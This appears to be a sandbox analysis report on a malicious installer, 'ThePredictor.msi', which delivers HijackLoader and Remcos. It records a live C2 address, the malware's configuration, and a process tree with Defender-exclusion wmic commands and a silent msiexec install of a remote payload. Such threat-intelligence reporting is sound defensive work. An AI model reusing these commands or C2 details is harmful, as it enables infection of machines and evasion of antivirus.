Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/02/2025, 22:06

General

  • Target

    ThePredictor.msi

  • Size

    27.3MB

  • MD5

    f57bed58fae51b1eb360d11ffb042859

  • SHA1

    18d49f590fec35f5f07a8a9ed7ede776cdfbf412

  • SHA256

    0f81e4f98ae30a8c891b17872789cd5c0669bec05b6d4f99f9835fbcdb67b0ce

  • SHA512

    e71e09070cd37ba84fee17ba47c74c25b1d38408cf94a136cf6f42ee6df50f96d7bc5b33bd49729d5090fdade6e05678175bf49aa9474b1f93f2ea75d8e83f1d

  • SSDEEP

    786432:h6JCD0rr9pQLq9jRbfQrP6sJ/xxLbxGrSU4+u:ArrHQLMf1O/xRorSU

Malware Config

Extracted

Family

remcos

Botnet

v2

C2

185.157.162.126:1995

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    qsdazeazd-EL00KX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Use of msiexec (install) with remote resource 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ThePredictor.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4020
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3224
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 8D39AAD336C89E42E92D54BAC2315AE2
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4584
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:644
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:4768
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:212
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:3812
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3412
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4328
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3424
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
                6⤵
                  PID:4548
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2532
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im cmd.exe
                  6⤵
                  • Kills process with taskkill
                  PID:496
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1148
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im msiexec.exe
                  6⤵
                  • Kills process with taskkill
                  PID:1324
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" //B
                5⤵
                • Checks computer location settings
                • Suspicious use of WriteProcessMemory
                PID:2956
                • C:\Windows\System32\msiexec.exe
                  "C:\Windows\System32\msiexec.exe" /i "https://raw.githubusercontent.com/leinchchanceleinch/jik/refs/heads/main/d.msi" /qn
                  6⤵
                  • Use of msiexec (install) with remote resource
                  PID:4108
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Adds Run key to start application
        • Blocklisted process makes network request
        • Enumerates connected drives
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:8
        • C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
          "C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:4996
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            3⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:4476
            • C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
              C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
              4⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:3476

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Config.Msi\e57afda.rbs

        Filesize

        2KB

        MD5

        55a7356fa4597caa94ea2acb1ab87e03

        SHA1

        dc5f93f56e3478d30eb66c524f766d7757dce561

        SHA256

        4cab2d06e09fff1c668e5edff56dd2cfb20f437ecf9c4fe5ea41c2ce0db756fc

        SHA512

        9b06cb09f5e2e9f9fec6590d1dd7421679e12846de3fec457d60a0125b2bfd7bd75ad6d73b2a98f7e01d6493e0fa3ffb5aa73f8b0d555ee6e793189232c35b7a

      • C:\Config.Msi\e5914c8.rbs

        Filesize

        10KB

        MD5

        31ffc76468d123e3cacb68f448b26ae8

        SHA1

        c3695beac8c9874c5c4a07182322e002d1f21ae4

        SHA256

        5e83ad79e47a15fdfe741cd720581d707867bc6479d81d8aea1c629c5fda6e1f

        SHA512

        ad8d45cdaad06d94fbf107d68f18aff37c55b9d9dc37f86dcc34bc7568cc3780c03c47ebef72bba87e68a9f488103a3f056f039695a89b5146bf555b5e8da8db

      • C:\Program Files (x86)\sev\dev\updt\lola.bat

        Filesize

        656B

        MD5

        73e4aed899a6014299b63ccf9eb520f5

        SHA1

        4147c2dd9277d64c5ecc9e7782e5d5aa94e56b00

        SHA256

        01c8cc249b04fee266cf757130dfef5b099cdf03337161a6c7f9346b7d2cb4f0

        SHA512

        e0ad8e8800908a5e0b60d433997c0cebc0750ae7bee0e7fe51c2e5f7fd61792f0c600c2fe65965b0c2562c61f05773d9106d89d7b2d1fb71eaed0dfbe19b5612

      • C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs

        Filesize

        872B

        MD5

        64dccadec94cfd25ee1ed659b29182b2

        SHA1

        64bc8bca314a238a900de2092587b07903b08e6c

        SHA256

        c8c9c931af038f86f25acb8f2e5dd98b01c7fdd41f0a1a3afa44e555f0b976cd

        SHA512

        adff4899e842137c9d78cd1b0056f3610d442b480e2829a41ad505d7353f59dc9fe50ec6055478ace36e4069e388a279e5ec60ca98751a13a559b40d4c847f93

      • C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs

        Filesize

        530B

        MD5

        f46334bc2aaa5c17f94d9e1a71d313ad

        SHA1

        635bd3cd09045731691a446a82b9a30cb244ce8b

        SHA256

        3568b9a14ec94a3e7ee267124e3eaea38b6d49019988f5e68dc2fbc16057acaa

        SHA512

        e8f5216fe65fdbd8b81e2f14b2d40b11be6d5806262ee98292c7bf962ae22a5fb99fb4b58556953d4d6e78be332c0c2cff9b642ee9496dcf62fee452955da0ef

      • C:\Program Files (x86)\sev\dev\updt\task.vbs

        Filesize

        2KB

        MD5

        be8e86dd465192f94e52b2cf7bb6243a

        SHA1

        e62cfcee783511bf7aa2411564b856967a185749

        SHA256

        99d59c98978a5f883d3c69c9c6352311e07cb4b9ff0cd6ee96cd9fa6057b5a53

        SHA512

        fd1ab9e90af36cbed8b46115288a8868500bfde0cbe9b72a9b1b9801cebc2acb0829d9cadf97e7cd70b6322afd65df2965a51a11672458251ff63cd535b17cb2

      • C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe

        Filesize

        20KB

        MD5

        9329ba45c8b97485926a171e34c2abb8

        SHA1

        20118bc0432b4e8b3660a4b038b20ca28f721e5c

        SHA256

        effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

        SHA512

        0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

      • C:\Users\Admin\AppData\Local\IXXinstall\audiogram.tif

        Filesize

        877KB

        MD5

        5124236fd955464317fbb1f344a1d2f2

        SHA1

        fe3a91e252f1dc3c3b4980ade7157369ea6f5097

        SHA256

        ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

        SHA512

        2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

      • C:\Users\Admin\AppData\Local\IXXinstall\http_dll.dll

        Filesize

        1.9MB

        MD5

        fe47e255c704b20cb20c8ed93ec94d47

        SHA1

        ed7d26624b3cfaa72cf7d3bc59d26845fb84247a

        SHA256

        b0d665cb466e10ef90e1d79a39cb655ebe785d0cefc074f7a22d04936b681879

        SHA512

        55813a4b755773f98991b47294fed03b23d5bee9af3ef98727b7345882fe0d9976546f46847fbc30119e7c62ce7ee8ae21f54065922041cf8d42364e607bc1c0

      • C:\Users\Admin\AppData\Local\IXXinstall\mfc80u.dll

        Filesize

        1.0MB

        MD5

        686b224b4987c22b153fbb545fee9657

        SHA1

        684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

        SHA256

        a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

        SHA512

        44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

      • C:\Users\Admin\AppData\Local\Temp\66ae0bb3

        Filesize

        1.0MB

        MD5

        b099a23b0cd469f65927072fcb090d40

        SHA1

        8a7ee7a1ccf7ab1e5c87e02db42804dfead6bcde

        SHA256

        d3414a40c097af75ed9318d8e761b8d2b29e1f6ae0ffeb086718168ea515689c

        SHA512

        352ac5919459afa774064a0b7f498b7187f8ccc730a9bb1395bb113cd1a6b06b7cf79b47114e7939d7c7bfcc81fa4ad1dee548cc3f883483a3c956290f34ad7a

      • C:\Users\Admin\AppData\Local\Temp\MSI7ad57.LOG

        Filesize

        21KB

        MD5

        4264d3b182152593abee2f052050d255

        SHA1

        f134f7b6066354c7d44469a4ddd6acfe57c827ef

        SHA256

        918bccb3b3313a9368004ad5cb235ab6a464c883783c39009724c512523db22e

        SHA512

        451d404aac36a22e33deed0ebdf117a7f089c4cfd0eee4328ad31eec2a9ddb50d31b6780b2f6beed6423dcdf98c0942d3fef8fd8d419faa48fd397c69895c990

      • C:\Windows\Installer\MSIB074.tmp

        Filesize

        557KB

        MD5

        2c9c51ac508570303c6d46c0571ea3a1

        SHA1

        e3e0fe08fa11a43c8bca533f212bdf0704c726d5

        SHA256

        ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

        SHA512

        df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

      • C:\Windows\Installer\MSIC42B.tmp

        Filesize

        2.9MB

        MD5

        5297df4268c31105df6d2fc39437d294

        SHA1

        df8d187c76abf86b8c7f3061723232424c6a7f2c

        SHA256

        696ed13d119273602770a67ac8015544cabba93a8316816e4fbdda5794b35399

        SHA512

        5fdd3cc4dfa1962a769138fece7a1ca9262d6503fe3a10838b6356d8fbe7081f841beb30bffbf0cc4966f863e63d420c05f9f903c7621da6130fea2e7ed85ad5

      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

        Filesize

        156KB

        MD5

        08269b39c42b1e81327ef18e67264727

        SHA1

        d8851c163f3e339320e31292c78789bf24ae2f21

        SHA256

        cb7028e0baa873d75aa6430991da195a0c5a3af836116fb6ed1e86474d251380

        SHA512

        e3527ac8abfcce3ab76b840ef304e92aa5e370bba901c1f364828779aa87bfbf05e66ab6d728368aa21b9bb0c8e0b18c25712ac6cc031a001ae20ffc10bb8484

      • memory/3476-91-0x0000000072EE0000-0x0000000074134000-memory.dmp

        Filesize

        18.3MB

      • memory/3476-97-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/3476-94-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/3476-93-0x00007FFB0F8D0000-0x00007FFB0FAC5000-memory.dmp

        Filesize

        2.0MB

      • memory/4476-89-0x00000000749E0000-0x0000000074B5B000-memory.dmp

        Filesize

        1.5MB

      • memory/4476-87-0x00007FFB0F8D0000-0x00007FFB0FAC5000-memory.dmp

        Filesize

        2.0MB

      • memory/4996-84-0x00000000749E0000-0x0000000074B5B000-memory.dmp

        Filesize

        1.5MB

      • memory/4996-76-0x00000000749E0000-0x0000000074B5B000-memory.dmp

        Filesize

        1.5MB